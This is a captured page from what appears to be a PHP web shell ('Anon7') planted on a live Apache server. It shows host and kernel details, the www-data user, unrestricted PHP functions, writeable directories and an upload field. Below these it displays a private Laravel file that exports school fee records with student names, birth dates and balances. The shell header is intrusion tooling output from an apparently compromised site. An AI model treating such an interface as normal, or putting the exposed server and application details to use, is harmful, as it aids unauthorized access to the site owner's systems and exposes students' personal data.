KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/paras.theinteractive.in/app/Exports/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/paras.theinteractive.in/app/Exports/FeescollectionExport_bak.php
<?php

namespace App\Exports;

use App\Models\User;
use App\Models\School;
use App\Helpers\Frontend;
use App\Models\Feesallotment;
use App\Models\Feescollection;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
use Maatwebsite\Excel\Concerns\Exportable;
use Maatwebsite\Excel\Concerns\FromArray;
use Maatwebsite\Excel\Concerns\WithHeadings;
// use Maatwebsite\Excel\Concerns\FromCollection;

class FeescollectionExport implements FromArray, WithHeadings
{
    use Exportable;
    /**
     * @return \Illuminate\Support\Collection
     */
    protected $request;
    public function __construct($request)
    {
        $this->request = $request;
    }

    public function array(): array
    {
        $request = $this->request;
        $schoolCodes = Frontend::get_schools();
        $query = User::with('guardian', 'school', 'class', 'section', 'feesallot');
        $returnFees = [];


        $query = Feesallotment::with('user', 'class', 'section', 'feescollection', 'users_admission', 'school');

        // Schools =========================
        if (!empty($request->school)) {
            $query->whereHas('school', function ($q) use ($request) {
                $q->where('schools.id', $request->school);
            });
        } else {
            if (!Auth::user()->hasRole('superadmin')) {
                $query->whereHas('school', function ($q) use ($schoolCodes) {
                    $q->whereIn('schools.id', $schoolCodes);
                });
            }
        }

        // Class ============================
        if (!empty($request->class)) {
            $query->where('feesallotments.class_id', $request->class);
        }

        // Section
        if (!empty($request->section)) {
            $query->whereHas('section', function ($q) use ($request) {
                $q->where('sections.id', $request->section);
            });
        }

        // Roll No.
        if (!empty($request->roll_no)) {
            $query->whereHas('users_admission', function ($q) use ($request) {
                $q->where('users_admissions.enrollment_no', 'LIKE', '%' . $request->roll_no . '%');
            });
        }

        // feesallot ========================
        if (!empty($request->due_date)) {
            $query->where('feesallotments.due_date', '=', date('Y-m-d', strtotime($request->due_date)));
        }

        $query->whereHas('user', function ($q) use ($request) {
            $q->where('users.status', '1');
        });
        $query->orderBy('id', 'DESC');

        $students = $query->get();
        // dd($students);

        foreach ($students as $student) {


            $feesCollect = array();


            $feesCollect[] = $student->users_admission()->first()->id;
            $feesCollect[] = $student->users_admission()->first()->enrollment_no;

            $feesCollect[] = $student->school()->first()->school;
            $feesCollect[] = $student->class()->first()->class;
            $feesCollect[] = $student->section()->first()->section;

            $feesCollect[] = $student->users_admission()->first()->first_name . ' ' . $student->users_admission()->first()->last_name;
            $feesCollect[] = "";
            $feesCollect[] = $student->users_admission()->first()->dob;
            $feesCollect[] = $student->users_admission()->first()->gender;
            $feesCollect[] = $student->amount;

            $balanceAmount = ($student->amount - $student->feescollection()->sum('discount')) - $student->feescollection()->sum('amount');

            $feesCollect[] = $student->feescollection()->sum('fine');
            $feesCollect[] = $student->feescollection()->sum('discount');
            $feesCollect[] = $student->feescollection()->sum('amount');

             if($student->feescollection()->sum('fine') < 0)
            {
                $balanceAmount = $balanceAmount - abs($student->feescollection()->sum('fine'));
            }
            $feesCollect[] = (($balanceAmount != 0 || $balanceAmount != NULL))?$balanceAmount:"0";
            if ($balanceAmount <= 0) {
                $feesCollect[] = "PAID";
            } else {
                $feesCollect[] = "UNPAID";
            };
            $feesCollect[] = $student->feescollection()->count();
            $feesCollect[] = date('Y-m-d', strtotime($student->due_date));
            $feesCollect[] = $student->remarks;
            array_push($returnFees, $feesCollect);
        }

        return $returnFees;
    }

    public function headings(): array
    {
        return [
            'admission_no',
            'enrollment_no',
            'center',
            'attempt',
            'batch',
            'fullname',
            'father_name',
            'dob',
            'gender',
            'fees',
            'fine',
            'discount',
            'paid',
            'balance',
            'status',
            'instalment',
            'due_date',
            'Remarks'
        ];
    }
}

Anon7 - 2021